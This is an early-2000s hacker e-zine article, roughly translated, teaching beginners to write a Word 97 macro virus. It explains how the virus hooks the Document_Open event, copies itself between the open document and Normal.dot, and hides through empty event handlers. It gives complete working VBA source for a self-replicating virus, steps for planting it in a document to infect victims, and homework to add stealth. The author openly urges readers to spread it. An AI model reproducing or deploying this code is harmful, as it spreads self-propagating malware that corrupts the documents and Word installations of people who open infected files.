(my first e-zine) BKNY0NNX // SBVC (c) 27.10.2001
-------------------------------------------------------------------------------

	Writing Word97-macrovirus for beginners

 All heard of that, that nigh only each infection accounts for macrovirus.
You consider that writing of such virus too in a complicated way for beginning?
Nowhere near! For this necessary only to know Visual Basic

 In base of work of any macroviruses lies the events under different operations
with document: opening, closing, conservation, seal... (The Full list refer to
in "AntiViral ToolKit Pro Virus Encyclopedia by E.Kaspersky". That virus was
able to infect necessary to process at least one event, eg. the Opening AKA
Document_Open:

Sub Document_Open()
... there goes viral code ...
End Sub

The events, I think, you learned to process. Now necessary to copy the code of
virus there, where necessary. In general, necessary to copy the code of virus in
infected document (without this it is impossible ;) and Normal.dot - for
activation under each start of Word.

As this is realized:

Copies macroses from Normal.dot to document:

If NT.Lines(1, 1) <> "'W97M" Then ' If NormalDot not infected then
NT.DeleteLines 1, NT.CountOfLines ' delete all line of code NT in him.
InsertLines 1, AD.Lines(1, AD.CountOfLines) ' and copies itself from ActiveDoc
End If					    '

Copies macroses from document to normal.dot:

If AD.Lines(1, 1) <> "'W97M" Then ' If ActiveDoc not infected then
AD.DeleteLines 1, AD.CountOfLines ' delete all line of code AD in him
InsertLines 1, NT.Lines(1, NT.CountOfLines) ' and mines itself from NormalDot
End If					    '

These fragments simply line by line copy code of virus if in its begin code
stands commentary "W97M"

Yes, AD and NT whole only point to objects code:
Set NT = NormalTemplate.VBProject.VBComponents(1).CodeModule
Set AD = ActiveDocument.VBProject.VBComponents(1).CodeModule

Better and more simply try to copy itself from victim to Normal.Dot conversely
it from somewhere or other is yes copied ;)

STELTH-MECHANISMS are realized making the EMPTY HANDLERS of events on that
events, which threaten to show viral code

Well and, certainly, remember to process the errors, eg.. so:
On Error Resume Next
Virus must spreads in any way :)

Well but here is code of YOURS virus:

'W97M
'Processing Opening of Victim
Sub Document_Open()
'Do not on errors
On Error Resume Next
'Install objects
Set NT = NormalTemplate.VBProject.VBComponents(1).CodeModule
Set AD = ActiveDocument.VBProject.VBComponents(1).CodeModule
'Copies itself from Normal to victim
If NT.Lines(1, 1) <> "'W97M" Then
NT.DeleteLines 1, NT.CountOfLines
NT.InsertLines 1, AD.Lines(1, AD.CountOfLines)
End If
'Copies itself from victim to Normal
If AD.Lines(1, 1) <> "'W97M" Then
AD.DeleteLines 1, AD.CountOfLines
AD.InsertLines 1, NT.Lines(1, NT.CountOfLines)
End If
'End!
End Sub

For preparing virus necessary:
 1. Create document in MS Word 97/2k and put there heap of text and pictures ;)
 2. Fall into editor VBA (Tools\Macro\Visual Basic Editor) or on Alt+F11
 3. In tree of project click twice by mouse Project\ThisDocument or F7
 4. Enter code of virus
 5. Save

 The task on home:
 Write stealth

					Good luck!